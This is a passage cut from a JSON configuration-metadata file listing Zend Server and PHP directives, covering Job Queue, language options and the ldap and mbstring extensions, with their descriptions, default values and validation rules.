                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.max_job_output_size": {
                "shortDescription": "Size in KB of maximal job output size to store in DB.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "63"
                    }
                ],
                "units": "KBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 63,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.db_cache_size": {
                "shortDescription": "DB disk pages (SQLite only).",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "2000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 999999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.db_vacuum": {
                "shortDescription": "Whether to run vacuum on the DB file after jobs cleanup (SQLite only).",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.execution_queues": {
                "shortDescription": "List of queue names for which the daemon should execute jobs.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "*"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.idle_timeout": {
                "shortDescription": "Time limit to remain idle when there are no jobs to execute.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 10000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.use_db_shared_lock": {
                "shortDescription": "Use an internal Mysql mutex when getting the jobs-to-execute list.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.status_check_interval": {
                "shortDescription": "The interval in which daemons update their status and check status of other daemons. 0 will disable the feature.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 0,
                    "maxValue": 999999,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.jobs_recovery_timeout": {
                "shortDescription": "Recover jobs of daemons whose status is outdated by the time period given by the directive.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "60"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.database.type": {
                "shortDescription": "Database Type (MYSQL)",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{s:0:\"\";s:0:\"\";s:5:\"MYSQL\";s:5:\"MYSQL\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.database.name": {
                "shortDescription": "Name of the database.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.database.host_name": {
                "shortDescription": "Host name of the Database machine (server DB only).",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.database.port": {
                "shortDescription": "Port of the Databse (server DB only).",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "3306"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.database.user": {
                "shortDescription": "User-name to connect to the database (server db only)",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.database.password": {
                "shortDescription": "Password to connect to the database (server DB only).",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.start_jobs_chunked": {
                "shortDescription": "Use batch update when marking jobs as started.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.db_size_completed": {
                "shortDescription": "Maximum DB space for completed jobs data.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1024"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.db_size_failed": {
                "shortDescription": "Maximum DB space for failed jobs data.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1024"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.global_directives_ini_file": {
                "shortDescription": "Global Directives ini file.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "GLOBAL_DIRECTIVES_INI_FILE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.enable_https": {
                "shortDescription": "Enable support for HTTPS jobs",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "1",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.keep_http_mechanism": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.validate_ssl": {
                "shortDescription": "Whether to validate ssl errors on job requests",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.max_http_jobs_for_entire_cluster": {
                "shortDescription": "Concurrency limits will be cluster-wide and not per server",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.queues_update_frequency": {
                "shortDescription": "Frequency check-up of queues list",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "30"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.certificates_update_frequency": {
                "shortDescription": "Frequency check-up of ca certificates list",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "minutes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.reschedule_missed_jobs": {
                "shortDescription": "Reschedule all jobs that were missed during downtime",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.reschedule_by_exec_time": {
                "shortDescription": "Reschedule jobs according to execution time",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.pulse.enable": {
                "shortDescription": "Enable Pulse statistics",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.pulse.stats_interval": {
                "shortDescription": "Miminal period of time for Pulse data aggregation",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "60"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.pulse.history": {
                "shortDescription": "History to keep Pulse statistics. 0 to follow edition restrictions.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "days",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_jobqueue.pulse.retro_analyze_days": {
                "shortDescription": "Days back to analyze when importing jobs data on upgrade",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "30"
                    }
                ],
                "units": "days",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "json": {
        "name": "json",
        "extensionId": "json",
        "isDaemon": 0,
        "shortDescription": "JavaScript Object Notation",
        "longDescription": "Implements the JavaScript Object Notation (JSON) data-interchange format.",
        "iniFileName": "json.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "Language Options": {
        "name": "Language Options",
        "extensionId": "Language Options",
        "dummy": "1",
        "isDaemon": 0,
        "shortDescription": "Language and Script Configuration Directives",
        "longDescription": "Language and Script Configuration Directives",
        "iniFileName": "",
        "subPath": "",
        "zendExtension": false,
        "directives": {
            "short_open_tag": {
                "shortDescription": "Tells whether the short form (&lt;? ?>) of an open tag should be allowed",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "asp_tags": {
                "shortDescription": "Enables the use of ASP-like tags in addition to the usual &lt;?php ?>",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "y2k_compliance": {
                "shortDescription": "Enforce year 2000 compliance",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "allow_call_time_pass_reference": {
                "shortDescription": "Enable the ability to force arguments to be passed by reference at function",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "precision": {
                "shortDescription": "The number of significant digits displayed in floating point numbers",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "digits",
                "validation": {
                    "minValue": -1,
                    "maxValue": 32,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "expose_php": {
                "shortDescription": "Decides whether PHP may expose the fact that it is installed on the server",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "enable_dl": {
                "shortDescription": "You can turn dynamic loading of PHP extensions with dl() on and off per virtual server or per directory. Only useful in the Apache module",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "magic_quotes_gpc": {
                "shortDescription": "Sets the magic_quotes state for GPC (Get\/Post\/Cookie) operations",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "magic_quotes_runtime": {
                "shortDescription": "If enabled, most functions that return data from any sort of external source including databases and text files will have quotes escaped with a backslash",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "magic_quotes_sybase": {
                "shortDescription": "Magic Quotes are in Sybase-style. If magic_quotes_gpc is on, it will completely overrides it",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "unserialize_callback_func": {
                "shortDescription": "The unserialize callback function will be called if the unserializer finds an undefined class",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "serialize_precision": {
                "shortDescription": "Store serialize_precision significant digits after the floating point",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.ze1_compatibility_mode": {
                "shortDescription": "Enable compatibility mode with Zend Engine 1 (PHP 4)",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.assertions": {
                "shortDescription": "Switch whether to compile assertions at all (to have no overhead at run-time)",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "assert.active": {
                "shortDescription": "Enable assert() evaluation",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "assert.warning": {
                "shortDescription": "Issue a PHP warning for each failed assertion",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "assert.bail": {
                "shortDescription": "Terminate execution if assertion fails",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "assert.quiet_eval": {
                "shortDescription": "Quiet evaluation (no error reporting) of assertions",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "assert.callback": {
                "shortDescription": "Call user function if assertion fails",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "assert.exception": {
                "shortDescription": "Throw an AssertationException on failed assertions ",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "ldap": {
        "name": "ldap",
        "extensionId": "ldap",
        "isDaemon": 0,
        "shortDescription": "Open Lightweight Directory Access Protocol",
        "longDescription": "Lightweight Directory Access Protocol(LDAP) is a protocol used to access \"Directory Servers\". The Directory is a special kind of database that holds information in a tree structure.\nNote:\nLDAP libraries must be installed in order for this extension to function.",
        "iniFileName": "ldap.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "ldap.max_links": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "libxml": {
        "name": "libxml",
        "extensionId": "libxml",
        "isDaemon": 0,
        "shortDescription": "libxml Library Interface",
        "longDescription": "Provides a low-level interface to the libxml Library.",
        "iniFileName": "libxml.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "lzf": {
        "name": "lzf",
        "extensionId": "lzf",
        "isDaemon": 0,
        "shortDescription": "LZF Compression",
        "longDescription": "",
        "iniFileName": "lzf.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "mbstring": {
        "name": "mbstring",
        "extensionId": "mbstring",
        "isDaemon": 0,
        "shortDescription": "Multibyte Character Processing",
        "longDescription": "Multibyte character encoding schemes were developed to express more than 256 characters in the regular bytewise coding system.\nWhen you manipulate (trim, split, splice, etc.) strings encoded in a multibyte encoding, you need to use special functions since two or more consecutive bytes may represent a single character in such encoding schemes. ",
        "iniFileName": "mbstring.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "mbstring.detect_order": {
                "shortDescription": "Defines default character code detection order",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mbstring.strict_detection": {
                "shortDescription": "Enables the strict encoding detection",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mbstring.language": {
                "shortDescription": "The default national language setting (NLS) used in mbstring",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mbstring.encoding_translation": {
                "shortDescription": "Enables the transparent character encoding filter for the HTTP queries",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mbstring.internal_encoding": {
                "shortDescription": "Defines the default internal character encoding",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mbstring.http_input": {
                "shortDescription": "Defines the default HTTP input character encoding",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mbstring.http_output": {
                "shortDescription": "Defines the default HTTP output character encoding",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mbstring.substitute_character": {
                "shortDescription": "Defines character to substitute for invalid character encoding",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mbstring.func_overload": {
